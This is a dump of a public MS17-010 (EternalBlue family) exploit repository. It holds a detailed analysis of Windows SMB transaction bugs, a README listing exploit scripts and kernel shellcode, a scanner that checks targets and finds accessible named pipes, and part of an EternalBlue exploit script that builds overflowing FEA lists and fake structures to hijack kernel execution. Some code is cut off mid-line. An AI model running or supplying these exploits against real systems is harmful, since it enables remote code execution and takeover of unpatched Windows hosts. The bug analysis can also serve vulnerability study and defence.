├── BUG.txt ├── README.md ├── checker.py ├── eternalblue_exploit7.py ├── eternalblue_exploit8.py ├── eternalblue_poc.py ├── eternalchampion_leak.py ├── eternalchampion_poc.py ├── eternalchampion_poc2.py ├── eternalromance_leak.py ├── eternalromance_poc.py ├── eternalromance_poc2.py ├── eternalsynergy_leak.py ├── eternalsynergy_poc.py ├── infoleak_uninit.py ├── mysmb.py ├── mysmb.pyc ├── npp_control.py ├── shellcode ├── eternalblue_kshellcode_x64.asm ├── eternalblue_kshellcode_x86.asm └── eternalblue_sc_merge.py └── zzz_exploit.py /BUG.txt: -------------------------------------------------------------------------------- 1 | =============== 2 | SMB Transaction 3 | =============== 4 | To understand the bugs, we need to understand SMB transaction because most bugs in MS17-010 are related to transation. 5 | I try to make it short. 6 | 7 | SMB message structure is well documented in https://msdn.microsoft.com/en-us/library/ee441702.aspx. We might need it 8 | for reference. 9 | 10 | As documented in https://msdn.microsoft.com/en-us/library/ee441466.aspx, there are 6 SMB commands for transaction subprotocol. 11 | If a transaction message is larger than SMB message (determined by MaxBufferSize in session parameter), a client 12 | MUST use one or more SMB_COM_*TRANSACT*_SECONDARY command (with same TID, UID, PID and MID in SMB header) to send 13 | transaction message that did not fit in the initial message. 14 | 15 | Each SMB transaction command has subcommand codes. There are 3 group of transaction subcommand as documented in 16 | https://msdn.microsoft.com/en-us/library/ee441514.aspx (because SMB_COM_*TRANSACT*_SECONDARY comamnds are needed to 17 | send a large transaction message). 18 | 19 | Now, we go through some implementaion detail on Windows SMB transaction. 20 | - A TRANSACTION struct and transaction data buffer are always allocated in 1 buffer. In memory, a TRANSACTION struct 21 | is always followed by data buffer as shown below. 22 | +-----------------+--------------------------------------------+ 23 | | TRANSACTION | transaction data buffer | 24 | +-----------------+--------------------------------------------+ 25 | 26 | - A transaction buffer is paged pool buffer. 27 | - There is lookaside for transaction buffer which size is 0x5000. 28 | - if size <=0x5000, use lookaside 29 | - all buffer size will be 0x5000 (even required buffer size is only 0x100) 30 | - if size >0x5000, directly allocate from paged pool 31 | - if transaction command is SMB_COM_TRANSACTION and SetupCount is 0, directly allocate from paged pool 32 | 33 | - TRANSACTION important struct member 34 | - InSetup : The pointer to received setup in transaction data buffer. 35 | - OutSetup : The pointer to reply setup (is set when all transaction data is received and NOT in transaction data buffer). 36 | - InParameters : The pointer to received parameter(s) in transaction data buffer. 37 | - OutParameters : The pointer to reply parameter(s) in transaction data buffer. 38 | - InData : The pointer to received data in transaction data buffer. 39 | - OutData : The pointer to reply data in transaction data buffer. 40 | - SetupCount : The number of setup words that are included in the transaction request. 41 | This one determines InSetup buffer size. 42 | - MaxSetupCount : Maximum number of setup bytes that the client will accept in the transaction reply. 43 | This one determines OutSetup buffer size. 44 | - ParameterCount : The current number of received parameter bytes or the number of parameter to be sent in reply. 45 | - TotalParameterCount : The total number of parameter bytes to be sent in this transaction request. 46 | This one determines InParameters buffer size. 47 | - MaxParameterCount : The maximum number of parameter bytes that the client will accept in the transaction reply. 48 | This one determines OutParameters buffer size. 49 | - DataCount : The current number of received data bytes or the number of data to be sent in reply. 50 | - TotalDataCount : The total number of data bytes to be sent in this transaction request. 51 | This one determines InData buffer size. 52 | - MaxDataCount : The maximum number of data bytes that the client will accept in the transaction reply. 53 | This one determines OutData buffer size. 54 | - Function : The NT transaction subcommand code. 55 | - Tid : The transaction Tid. 56 | - Pid : The transaction Pid. 57 | - Uid : The transaction Uid. 58 | - Mid/Fid : The transaction Mid. 59 | - AllDataReceived : The boolean which set to 1 when (ParameterCount == TotalParamterCount && DataCount == TotalDataCount). 60 | 61 | - There are 3 memory layout for InParameters, OutParameters, InData, OutData buffer in transaction data buffer. 62 | - memory layout for SMB_COM_TRANSACTION except TRANS_MAILSLOT_WRITE and "TRANS with zero SetupCount" is shown below. 63 | In* and Out* buffers are overlapped. 64 | +---------------+------------------------------------------------------+ 65 | | TRANSACTION | transaction data buffer | 66 | +---------------+------------------------------------------------------+ 67 | | InSetup | InParameters | InData | | 68 | +------------------------------------------------------+ 69 | | OutParameters | OutData | 70 | +------------------------------------------------------+ 71 | - memory layout for SMB_COM_TRANSACTION2 and exception case from above SMB_COM_TRANSACTION is shown below. 72 | All buffers are not overlapped. 73 | +---------------+------------------------------------------------------------------------------+ 74 | | TRANSACTION | transaction data buffer | 75 | +---------------+------------------------------------------------------------------------------+ 76 | | InSetup | InParameters | InData | OutParameters | OutData | 77 | +------------------------------------------------------------------------------+ 78 | - memory layout for SMB_COM_NT_TRANS is shown below. InParameters and OutParameters are overlapped. 79 | InData and OutData are overlapped. 80 | +---------------+-----------------------------------------------------------+ 81 | | TRANSACTION | transaction data buffer | 82 | +---------------+-----------------------------------------------------------+ 83 | | InSetup | InParameters | InData | | 84 | +---------+----------------------+--------------------------+ 85 | | | OutParameters | | OutData | 86 | +-----------------------------------------------------------+ 87 | 88 | - Transaction is executed when (ParameterCount == TotalParamterCount && DataCount == TotalDataCount). 89 | - While executing transaction, InParameters and InData pointer might be modified. 90 | - After transaction is executed, ParameterCount and DataCount (is normally set in called transaction function) are used 91 | for determining the reply size of OutParameters and OutData respectively. 92 | 93 | - A SMB_COM_*_SECONDARY request can be used to overwrite a sent transaction parameters and data with displacement. 94 | ParameterCount and DataCount is added no matter what (valid) displacement value is. 95 | - assume TotalParameterCount is 0 and TotalDataCount is 16 96 | - first transaction request has 8 bytes of data 97 | - secondary transaction request can have 8 bytes of data with displacement 0 98 | - 8 bytes of data in first transaction request is overwritten 99 | - next 8 bytes of data never be written 100 | - For multipiece transaction (transaction that used secondary to complete transaction), a server uses 101 | last SMB_COM_*_SECONDARY command to determine transaction type. 102 | - if last command is SMB_COM_TRANSACTION_SECONDARY, a server executes subcommand as TRANS_*. 103 | - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*. 104 | - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*. 105 | - A transaction is also used in SMB_COM_WRITE_ANDX command (https://msdn.microsoft.com/en-us/library/ee441954.aspx) 106 | when WriteMode is RAW_MODE. The transaction uses FID in parameters instead of MID in SMB header for 107 | matching transaction. 108 | 109 | That should be enough for SMB transaction. It's time to start bug details. 110 | Below is bugs I found from MS17-010 diff. 111 | 112 | 113 | 114 | =========== 115 | Bug1: Uninitialized transaction InParameters and InData buffer 116 | =========== 117 | A transaction data buffer is not initialized. If we send multipiece transaction request with displacement 0, 118 | a server will use uninitialized parameter and data for input. An uninitialized input here is normally useless 119 | because a server processes input parameter and data as untrusted data. 120 | 121 | If we found a transaction subcommand that use part of input as output, we could use this bug for 122 | leaking uninitialized data. 123 | 124 | A transaction subcommand that perfect for exploiting this bug is NT_TRANSACT_RENAME. The NT_TRANSACT_RENAME 125 | is documented as "Not implemented". But there is a code in SrvSmbNtRename() function. 126 | 127 | Here is psuedocode for SrvSmbNtRename() 128 | 129 | SrvSmbNtRename() 130 | { 131 | // ParameterCount must be >= 4 132 | // first 2 bytes of InParameters is fid 133 | // verify fid 134 | // if verification failed, return error without data 135 | // if verification success, return success without modifying OutParameters, ParameterCount, OutData, DataCount 136 | } 137 | 138 | But, as mentioned above, transaction InData and OutData are overlapped. Without modifying any 139 | transaction *Parameter* and *Data*, a server returns InData (like echo). 140 | 141 | An only REQUIREMENT for using NT_TRANSACT_RENAME command is valid fid. So we need to get fid by opening 142 | any named pipe or share first. 143 | 144 | This bug is not helpful for exploitation because leaked info is from freed buffer. It is difficult to get 145 | exact information because a transaction size is always >=0x5000. 146 | 147 | Here is some useful of this bug: 148 | - detect a target architecture (32 or 64 bit) from leak pointer 149 | - might contain important data 150 | 151 | The PoC filename for this bug is infoleak_uninit.py 152 | 153 | Note: 154 | - this bug is not used in NSA leak tools. 155 | - because the fix only set zero to InParameters and InData buffer, it is still possible to do information disclosure 156 | from OutParameters and OutData. May17 security patches fix information disclosure from OutParameters and OutData in 157 | various function (no zero the whole OutParameters and OutData buffer). 158 | - May17 security patches modify SrvSmbNtRename() to return an error. 159 | 160 | 161 | 162 | =============== 163 | Bug2: TRANS_PEEK_NMPIPE transaction subcommand expects MaxParameterCount to be 16 164 | =============== 165 | SrvPeekNamedPipe() is used for handling TRANS_PEEK_NMPIPE subcommand (https://msdn.microsoft.com/en-us/library/ee441845.aspx). 166 | It peeks the named pipe data to OutParameters buffer. The named pipe data is placed at OutParameters+16. 167 | If MaxParameterCount is 16, OutData will point to correct named pipe data. By setting MaxParameterCount larger than 16, 168 | we can leak uninitialized OutData buffer. But we can do better by using it with Bug3. 169 | 170 | The fix of this bug is used by scanners to determine if MS17-010 has been patched or not. 171 | 172 | SrvAllocationTransaction() is used for allocating a transaction struct and data buffer. If a transaction data buffer size is 173 | greater than 0x10400, the SrvAllocationTransaction() will set a pointer to transaction to NULL. Then, the server replies 174 | an error code 0xC0000205 (STATUS_INSUFF_SERVER_RESOURCES). 175 | 176 | When sending a large MaxParameterCount and MaxDataCount (sum of them is >0x10400), we will got an error code 0xC0000205. 177 | Because MS17-010 patch changes MaxParameterCount to 16 if transaction subcommand is TRANS_PEEK_NMPIPE before calling 178 | SrvAllocationTransaction(), SrvPeekNamedPipe() will be called even sum of MaxParameterCount and MaxDataCount is >0x10400. 179 | The response from SrvPeekNamedPipe() is depended on our InSetup. 180 | 181 | 182 | 183 | =============== 184 | Bug3: Transaction reply data size might be larger than allocated buffer size 185 | =============== 186 | SrvCompleteExecuteTransaction() function is used for sending transaction reply to a client. But it has no check if 187 | ParameterCount/DataCount is larger than MaxParameterCount/MaxDataCount. SrvCompleteExecuteTransaction() might 188 | copy reply data from outside of buffer (OOB read) to client. This can lead to information disclosure. 189 | 190 | To exploit the bug, we send a TRANS_PEEK_NMPIPE transaction subcommannd (Bug2) with MaxParameterCount to very large value and 191 | MaxDataCount to 1. If a transaction reply data size (DataCount) is more than MaxDataCount, SrvCompleteExecuteTransaction() 192 | will send OutData and data next to OutData buffer to a client. The transaction buffer should look like below. 193 | +---------------+-----------------------------------------------------+ 194 | | TRANSACTION | transaction data buffer | 195 | +---------------+-----------------------------------------------------+ 196 | | InSetup | InParameters | InData | | 197 | +-----------------------------------------------------+------------+ 198 | | OutParameters |OutData| OOB read | 199 | +-----------------------------------------------------+------------+ 200 | 201 | The NSA eternalromance uses this bug and Bug2 to do a info disclosure. The PoC file is eternalromance_leak.py. 202 | 203 | The bug is fixed in Windows 8 (since release) and later. MS17-010 add the same code as Windows 8 to fix this bug on Windows<8. 204 | 205 | NSA eternalromance relies on this bug to leak TRANSACTION struct. So NSA eternalromance cannot exploit Windows 8 and later. 206 | 207 | 208 | 209 | =============== 210 | Bug4: Transaction ParameterCount/DataCount might be greater than TotalParameterCount/TotalDataCount 211 | =============== 212 | When sending SMB_COM_*_SECONDARY command, a server checks a displacement value and a size of data to not write outside of 213 | allocated buffer. But there is no check if total received ParameterCount/DataCount is greater than 214 | TotalParameterCount/TotalDataCount. 215 | 216 | For example: 217 | - a transaction with TotalDataCount=0x20 218 | - first request, send 0x18 bytes of data (DataCount=0x18) 219 | - next request, send 0x10 bytes of data (DataCount=0x28) 220 | 221 | Normally, this bug is not useful for exploitation. But it can be used with Bug5 (below). 222 | 223 | 224 | 225 | =============== 226 | Bug5: Transaction secondary request is accepted and processed after transaction execution is started 227 | =============== 228 | If we send a transaction secondary request to a transaction that AllDataReceived member has already been set, a server will 229 | send back an error without processing the request. 230 | 231 | For multipiece transaction, AllDataReceived is set (in SrvSmbTransactionSecondary()/SrvSmbNtTransactionSecondary()) before 232 | executing transaction. But AllDataReceived is NOT set (in SrvSmbTransaction()/SrvSmbNtTransaction()) when transaction is 233 | completed in 1 SMB message. This allow us to send a transaction secondary request to modify InParamter/InData buffer and 234 | ParameterCount/DataCount while server is executing a transaction or sending a reply. 235 | 236 | 237 | First case to exploit this bug is sending a transaction secondary request while a server is sending a reply. The result is 238 | a server replies data outside of OutData buffer (similar to Bug3). But this method seems to be race condition that diffcult to win. 239 | NSA eternalchampion and eternalsynergy use very nice trick to always win this race condition. 240 | 241 | When doing SMB login, we send SMB_COM_SESSION_SETUP_ANDX (https://msdn.microsoft.com/en-us/library/ee442101.aspx) request to 242 | a server. The request contains MaxBufferSize field (https://msdn.microsoft.com/en-us/library/ee441849.aspx) which is 243 | the maximum size, in bytes, of the largest SMB message that the client can receive. 244 | 245 | If a transaction reply size is larger than MaxBufferSize, a server will send multiple transaction replies to a client. To resume 246 | sending next transaction reply, a server add work queue to call RestartTransactionResponse() function. Moreover, 247 | RestartTransactionResponse() has no check about MaxParameterCount and MaxDataCount. 248 | 249 | With above information, the NSA exploit sends SMB_COM_SESSION_SETUP_ANDX (login) with specific MaxBufferSize. Then, the exploit 250 | creates one complete NT_TRANS_RENAME request which response size is larger than MaxBufferSize and one NT_TRANS_RENAME 251 | secondary request, with a number of data is a number of byte to leak. Finally, the exploit sends these 2 requests in 1 TCP packet. 252 | 253 | After a server sends first part of transaction reply, a server queue a call to RestartTransactionResponse() after NT_TRANS_RENAME 254 | secondary request. The transaction DataCount is increased when processing the NT_TRANS_RENAME secondary request (this works 255 | because of Bug4). Then, the server sends second part of transaction reply with data outside of OutData buffer. 256 | 257 | We can see PoC for leaking information with this bug in eternalchampion_leak.py and eternalsynergy_leak.py. I do not know why 258 | both exploits use different parameters. 259 | 260 | 261 | Another case to exploit this bug is sending a transaction secondary request while a server is executing a transaction. This case 262 | is very difficult to find a exploit path and requires to win a race (champion). The NSA eternalchampion uses 263 | TRANS2_QUERY_PATH_INFORMATION subcommand (https://msdn.microsoft.com/en-us/library/ee441634.aspx) with 264 | SMB_INFO_IS_NAME_VALID query information level (https://msdn.microsoft.com/en-us/library/ff470079.aspx). 265 | 266 | In SrvSmbQueryPathInformation() function with SMB_INFO_IS_NAME_VALID information level, the transaction InData pointer is 267 | modified to point to UNICODE_STRING struct allocated on stack. After modified InData pointer, if a server processes a transaction 268 | secondary request before executing transaction is finished, the stack data (saved eip/rip) will be overwritten with certain offset 269 | by data and dataDisplacement in transaction secondary. Because offset in stack is always fixed, NSA eternalchampion has no 270 | chance to crash a target. 271 | 272 | The PoC file for this bug is eternalchampion_poc.py 273 | 274 | Note: I found the same fix for this bug in SrvSmbWriteAndX() too 275 | 276 | 277 | 278 | =============== 279 | Bug6: Transaction secondary can be used with any transaction type 280 | =============== 281 | Normally SMB_COM_TRANSACTION command must be followed by SMB_COM_TRANSACTION_SECONDARY command, SMB_COM_TRANSACTION2 command must be 282 | followed by SMB_COM_TRANSACTION2_SECONDARY command and SMB_COM_NT_TRANS command must be followed by SMB_COM_NT_TRANS_SECONDARY 283 | command if transaction data in first SMB message is not complete. But a server has no check. So we can send any transaction 284 | secondary command (which matches TID, UID, PID and MID) to complete a transaction. 285 | 286 | Do not forget that a server uses last SMB_COM_*_SECONDARY command to determine transaction type. So we can turn any transaction type 287 | to be SMB_COM_TRANSACTION or SMB_COM_TRANSACTION2. We cannot turn non SMB_COM_NT_TRANS to SMB_COM_NT_TRANS because SMB_COM_NT_TRANS 288 | uses Function to determine transaction subcommand. 289 | 290 | This bug is used in NSA eternalblue exploit for sending large transaction data (>=0x10000 bytes) for TRANS2_OPEN2. Because only 291 | SMB_COM_NT_TRANS request use 4 bytes for TotalDataCount field (other use 2 bytes), the exploit have to start a transaction with 292 | SMB_COM_NT_TRANS command then following the SMB_COM_TRANSACTION2_SECONDARY command. 293 | You can see an example usage in eternalblue_poc.py. 294 | 295 | As I mentioned in introduction section, a transaction is also used in SMB_COM_WRITE_ANDX command when WriteMode is RAW_MODE. 296 | This is very interesting case because SrvSmbWriteAndX() writes data to transacation with below code. 297 | 298 | memmove(transaction->Indata, request->data, request->dataLength); 299 | transaction->InData += request->dataLength; // shift InData pointer 300 | transaction->DataCount += request->dataLength; 301 | 302 | Notice that SrvSmbWriteAndX() shifts InData pointer when writing data, while transaction secondary uses dataDisplacement to set 303 | where to write a data in InData buffer (without moving InData). 304 | 305 | Assume we start a transaction with TotalDataSize=0x2000 with MID value same as FID of open named pipe. The memory layout look 306 | like below (I omit OutParameters and OutData because they are not related). 307 | 308 | +---------------+-----------------------------------------------------+ 309 | | TRANSACTION | transaction data buffer | 310 | +---------------+-----------------------------------------------------+ 311 | | InSetup | InParameters | InData | 312 | +-----------------------------------------------------+ 313 | 314 | Then, we send a SMB_COM_WRITE_ANDX command with WriteMode=RAW_MODE and 0x100 bytes of data. 315 | 316 | +---------------+-----------------------------------------------------+ 317 | | TRANSACTION | transaction data buffer | 318 | +---------------+-----------------------------------------------------+ 319 | | InSetup | InParameters | | InData | 320 | +-----------------------------------------------------+ 321 | 322 | Then, writing outside transaction data buffer is possible if we send a transaction secondary command with dataDisplacement=0x1f??. 323 | 324 | This OOB write is very good for exploitation however SMB_COM_WRITE_ANDX command with RAW_MODE write requires a valid named pipe fid. 325 | Since Windows Vista, the default Windows configuration without additional service does not allow an anonymous logon (NULL session) 326 | to access any named pipe. 327 | 328 | You can see PoC in eternalromance_poc.py and eternalsynergy_poc.py (with large paged groom method to show another heap spraying method). 329 | 330 | Note: NSA eternalromance and eternalsynergy use this bug for OOB write. Eternalromance uses Bug3 for leaking transaction struct 331 | (which is limited to Windows<8) but eternalsynergy uses Bug5 for leaking transaction struct and some trick to find 332 | a NonPagedPoolExecute page (I do not check how exploit exactly work) in Windows 8 and Windows 2012. 333 | 334 | 335 | =============== 336 | Bug7: Wrong type assigment in SrvOs2FeaListSizeToNt() 337 | =============== 338 | The FEA (Full Extended Attribute), https://msdn.microsoft.com/en-us/library/ee915515.aspx, is used in SMB_COM_TRANSACTION2 subcommands. 339 | Normally we need to send FEA_LIST (https://msdn.microsoft.com/en-us/library/ff359296.aspx) in SMB_COM_TRANSACTION2 subcommands request. 340 | When processing SMB_COM_TRANSACTION2 subcommands request wth FEA_LIST, Windows need to convert FEA_LIST to a list of 341 | FILE_FULL_EA_INFORMATION (https://msdn.microsoft.com/en-us/library/cc232069.aspx). 342 | 343 | There is a bug while converting FEA_LIST to FILE_FULL_EA_INFORMATION if FEA_LIST.SizeOfListInBytes is >=0x10000. The SrvOs2FeaListToNt() 344 | is used for converting which has following psuedocode. 345 | 346 | SrvOs2FeaListToNt() 347 | { 348 | outputLen = SrvOs2FeaListSizeToNt(feaList); 349 | output = SrvAllocateNonPagedPool(outputLen); 350 | // start copy all FEA data to output in a list of FILE_FULL_EA_INFORMATION format 351 | } 352 | 353 | SrvOs2FeaListSizeToNt(feaList) 354 | { 355 | outputLen = 0; 356 | foreach (fea in feaList) { 357 | if (IsFeaDataOutOfBound(fea, feaList)) { 358 | // shrink feaList.SizeOfListInBytes to only valid fea so copy step does not need to check again. 359 | // feaList.SizeOfListInBytes is DWORD but it is cast to WORD so HIDWORD is not modified. 360 | (WORD) feaList.SizeOfListInBytes = Pos(fea) - Pos(feaList); 361 | return outputLen; 362 | } 363 | outputLen += GetNtLengthForFea(fea); 364 | } 365 | return outputLen; 366 | } 367 | 368 | From above pseudocode, if we send feaList.SizeOfListInBytes=0x10000 while valid FEA entries in list is less than 369 | 0x10000 bytes (assume 0x4000), the feaList.SizeOfListInBytes will be modified to 0x14000 because HIDWORD is not modified and 370 | outputLen is only 0x4000. Then the output buffer will be overflowed while copying FEA data to output buffer. 371 | 372 | As mentioned above, we need to send a transaction data that larger than 0x10000 bytes. But the FEA_LIST data is used 373 | only in SMB_COM_TRANSACTION2 which TotalDataCount is USHORT (max is 0xffff). So we need to Bug6 to send a FEA_LIST 374 | data that larger than 0x10000. 375 | 376 | The exploit path that required minimum condition is TRANS2_OPEN2 subcommand. The SrvSmbOpen2() calls SrvOs2FeaListToNt() 377 | for converting FEA_LIST before any permission checking. So a client just need to access any share (IPC$ is best choice) 378 | and able to send SMB_COM_NT_TRANS and SMB_COM_TRANSACTION2_SECONDARY commands. 379 | 380 | Above exploitation requirements are good for Windows<8 because Windows<8 always allow anonymous (NULL session) to 381 | access IPC$ and send transaction commands. However, Windows>=8 does not allow anonymous to access IPC$ by default 382 | (IPC$ might be acessible but most of transaction commands cannot be used). 383 | 384 | You can see PoC in eternalblue_poc.py 385 | 386 | 387 | 388 | =============== 389 | Bug8: Wrong type assigment in SrvOs2GeaListSizeToNt() 390 | =============== 391 | The bug is same as Bug7 in different function but all exploit path requires valid fid. 392 | 393 | 394 | 395 | =============== 396 | Bug9: SESSION_SETUP_AND_X request format confusion 397 | =============== 398 | This bug is not fixed in MS17-010. I put it here because NSA leak tools use it for exploitation. The bug itself 399 | can only fool a server to allocate a large nonpaged pool (<0x20000) for storing small client information. 400 | 401 | There are 2 format of SMB_COM_SESSION_SETUP_ANDX request for "NT LM 0.12" dialect. The first format is documented 402 | in https://msdn.microsoft.com/en-us/library/ee441849.aspx. It is used for LM and NTLM authentication. Another format 403 | is documented in https://msdn.microsoft.com/en-us/library/cc246328.aspx. It is used for NTLMv2 (NTLM SSP) authentication. 404 | We noted that these 2 foramts have different WordCount (first one is 13 and later is 12). 405 | 406 | The SMB_COM_SESSION_SETUP_ANDX request is handled by BlockingSessionSetupAndX() function. Below is psuedocode for hanlding 407 | both request format (only related part). 408 | 409 | BlockingSessionSetupAndX() 410 | { 411 | // ... 412 | 413 | // check word count 414 | if (! (request->WordCount == 13 || (request->WordCount == 12 && (request->Capablilities & CAP_EXTENDED_SECURITY))) ) { 415 | // error and return 416 | } 417 | 418 | // ... 419 | 420 | if ((request->Capablilities & CAP_EXTENDED_SECURITY) && (smbHeader->Flags2 & FLAGS2_EXTENDED_SECURITY)) { 421 | // this request is Extend Security request 422 | GetExtendSecurityParameters(); // extract parameters and data to variables 423 | SrvValidateSecurityBuffer(); // do authentication 424 | } 425 | else { 426 | // this request is NT Security request 427 | GetNtSecurityParameters(); // extract parameters and data to variables 428 | SrvValidateUser(); // do authentication 429 | } 430 | 431 | // ... 432 | } 433 | 434 | From psuedocode above, if we send SMB_COM_SESSION_SETUP_ANDX request as Extended Security (WordCount 12) with 435 | CAP_EXTENDED_SECURITY but no FLAGS2_EXTENDED_SECURITY, the request will be processed as NT Security request (WordCount 13). 436 | We can also send the request as NT Security request (WordCount 13) with CAP_EXTENDED_SECURITY and FLAGS2_EXTENDED_SECURITY. 437 | But later case is no use because there is an extra check of ByteCount value in GetExtendSecurityParameters() function. 438 | 439 | Normally a server validates WordCount and ByteCount field in SrvValidateSmb() function before passing a request to 440 | request handler. The WordCount*2 and ByteCount must not be larger than received data size. With the confusing bug, a server 441 | read ByteCount from wrong offset while extracting parameters and data to variables. 442 | 443 | The bug does not cause any memory corruption or information disclosure because ByteCount value is only used for calculating 444 | buffer size for storing NativeOS and NativeLanMan unicode string (UTF16). The NativeOS and NativeLanMan size is caculated from 445 | "ByteCount - other_data_size". The buffer for NativeOS and NativeLanMan unicode string is allocated on nonpaged pool. 446 | 447 | NSA eternalchampion uses this bug to set UNICODE_STRING.MaximumLength to 0x15ff and place staging shellcode in buffer because 448 | nonpaged pool is executable on Windows<8. 449 | Note: On x86, 'ff15????????' is 'call [????????]' instruction. On x64, 'ff1500000000' is 'call [rip+0]'. 450 | 451 | NSA eternalblue uses this bug to creating hole because we can control when to allocate and free the buffer. 452 | 453 | The PoC filename for this bug is npp_control.py and the example usages of this bug is eternalblue_exploit.py and eternalchampion_poc2.py 454 | 455 | Note: This mothod cannot use for user authentication if NTLM authentication is disabled 456 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MS17-010 2 | 3 | This repository is for public my work on MS17-010. I have no plan to do any support. **All support issues will not get response from me**. 4 | 5 | ## Files 6 | 7 | * **BUG.txt** MS17-010 bug detail and some analysis 8 | * **checker.py** Script for finding accessible named pipe 9 | * **eternalblue_exploit7.py** Eternalblue exploit for windows 7/2008 10 | * **eternalblue_exploit8.py** Eternalblue exploit for windows 8/2012 x64 11 | * **eternalblue_poc.py** Eternalblue PoC for buffer overflow bug 12 | * **eternalblue_kshellcode_x64.asm** x64 kernel shellcode for my Eternalblue exploit. This shellcode should work on Windows Vista and later 13 | * **eternalblue_kshellcode_x86.asm** x86 kernel shellcode for my Eternalblue exploit. This shellcode should work on Windows Vista and later 14 | * **eternalblue_sc_merge.py** Script for merging eternalblue x86 and x64 shellcode. Eternalblue exploit, that support both x86 and x64, with merged shellcode has no need to detect a target architecture 15 | * **eternalchampion_leak.py** Eternalchampion PoC for leaking info part 16 | * **eternalchampion_poc.py** Eternalchampion PoC for controlling RIP 17 | * **eternalchampion_poc2.py** Eternalchampion PoC for getting code execution 18 | * **eternalromance_leak.py** Eternalromance PoC for leaking info part 19 | * **eternalromance_poc.py** Eternalromance PoC for OOB write 20 | * **eternalromance_poc2.py** Eternalromance PoC for controlling a transaction which leading to arbitrary read/write 21 | * **eternalsynergy_leak.py** Eternalsynergy PoC for leaking info part 22 | * **eternalsynergy_poc.py** Eternalsynergy PoC for demonstrating heap spraying with large paged pool 23 | * **infoleak_uninit.py** PoC for leaking info from uninitialized transaction data buffer 24 | * **mysmb.py** Extended Impacket SMB class for easier to exploit MS17-010 bugs 25 | * **npp_control.py** PoC for controlling nonpaged pool allocation with session setup command 26 | * **zzz_exploit.py** Exploit for Windows 2000 and later (requires access to named pipe) 27 | 28 | 29 | ## Anonymous user 30 | 31 | Anonymous user (null session) get more restriction on default settings of new Windows version. To exploit Windows SMB without authentication, below behavior should be aware. 32 | 33 | * Since Windows Vista, default settings does not allow anonymous to access any named pipe 34 | * Since Windows 8, default settings does not allow anonymous to access IPC$ share (IPC$ might be acessible but cannot do much) 35 | 36 | 37 | ## About NSA exploits 38 | 39 | * **Eternalblue** requires only access to IPC$ to exploit a target while other exploits require access to named pipe too. So the exploit always works against Windows < 8 in all configuration (if tcp port 445 is accessible). However, Eternalblue has a chance to crash a target higher than other exploits. 40 | * **Eternalchampion** requires access to named pipe. The exploit has no chance to crash a target. 41 | * **Eternalromance** requires access to named pipe. The exploit can target Windows < 8 because the bug for info leak is fixed in Windows 8. The exploit should have a chance to crash a target lower than Eternalblue. I never test a reliable of the exploit. 42 | * **Eternalsynergy** requires access to named pipe. I believe this exploit is modified from Eternalromance to target Windows 8 and later. Eternalsynergy uses another bug for info leak and does some trick to find executable memory (I do not know how it works because I read only output log and pcap file). 43 | 44 | -------------------------------------------------------------------------------- /checker.py: -------------------------------------------------------------------------------- 1 | from mysmb import MYSMB 2 | from impacket import smb, smbconnection, nt_errors 3 | from impacket.uuid import uuidtup_to_bin 4 | from impacket.dcerpc.v5.rpcrt import DCERPCException 5 | from struct import pack 6 | import sys 7 | 8 | ''' 9 | Script for 10 | - check target if MS17-010 is patched or not. 11 | - find accessible named pipe 12 | ''' 13 | 14 | USERNAME = '' 15 | PASSWORD = '' 16 | 17 | NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 18 | 19 | MSRPC_UUID_BROWSER = uuidtup_to_bin(('6BFFD098-A112-3610-9833-012892020162','0.0')) 20 | MSRPC_UUID_SPOOLSS = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB','1.0')) 21 | MSRPC_UUID_NETLOGON = uuidtup_to_bin(('12345678-1234-ABCD-EF00-01234567CFFB','1.0')) 22 | MSRPC_UUID_LSARPC = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) 23 | MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC','1.0')) 24 | 25 | pipes = { 26 | 'browser' : MSRPC_UUID_BROWSER, 27 | 'spoolss' : MSRPC_UUID_SPOOLSS, 28 | 'netlogon' : MSRPC_UUID_NETLOGON, 29 | 'lsarpc' : MSRPC_UUID_LSARPC, 30 | 'samr' : MSRPC_UUID_SAMR, 31 | } 32 | 33 | 34 | if len(sys.argv) != 2: 35 | print("{} ".format(sys.argv[0])) 36 | sys.exit(1) 37 | 38 | target = sys.argv[1] 39 | 40 | conn = MYSMB(target) 41 | try: 42 | conn.login(USERNAME, PASSWORD) 43 | except smb.SessionError as e: 44 | print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) 45 | sys.exit() 46 | finally: 47 | print('Target OS: ' + conn.get_server_os()) 48 | 49 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 50 | conn.set_default_tid(tid) 51 | 52 | 53 | # test if target is vulnerable 54 | TRANS_PEEK_NMPIPE = 0x23 55 | recvPkt = conn.send_trans(pack(' 5 minutes) to 63 | get call because it is called on other processors 64 | - Shellcode should be aware of double overwriting system call target address when using hijacking system call method 65 | - Then, using APC in Process context to get code execution in userland (ring 3) 66 | ''' 67 | 68 | # Note: see how to craft FEALIST in eternalblue_poc.py 69 | 70 | # wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) 71 | # the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time 72 | # the size 0x11000 is used in nsa exploit. this size is more reliable. 73 | NTFEA_SIZE = 0x11000 74 | # the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page 75 | 76 | ntfea10000 = pack('=0x10000 to trigger bug (but must be less than data size) 187 | feaList += ntfea[NTFEA_SIZE] 188 | # Note: 189 | # - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively 190 | # - x64: below fea will be copy to offset 0x11000 of overflow buffer 191 | # - x86: below fea will be copy to offset 0x10ff8 of overflow buffer 192 | feaList += pack(' SrvNetCommonReceiveHandler() -> call fn_ptr 206 | fake_recv_struct = pack('= 0xffff: 275 | flags2 &= ~smb.SMB.FLAGS2_UNICODE 276 | reqSize = size // 2 277 | else: 278 | flags2 |= smb.SMB.FLAGS2_UNICODE 279 | reqSize = size 280 | conn.set_flags(flags2=flags2) 281 | 282 | pkt = smb.NewSMBPacket() 283 | 284 | sessionSetup = 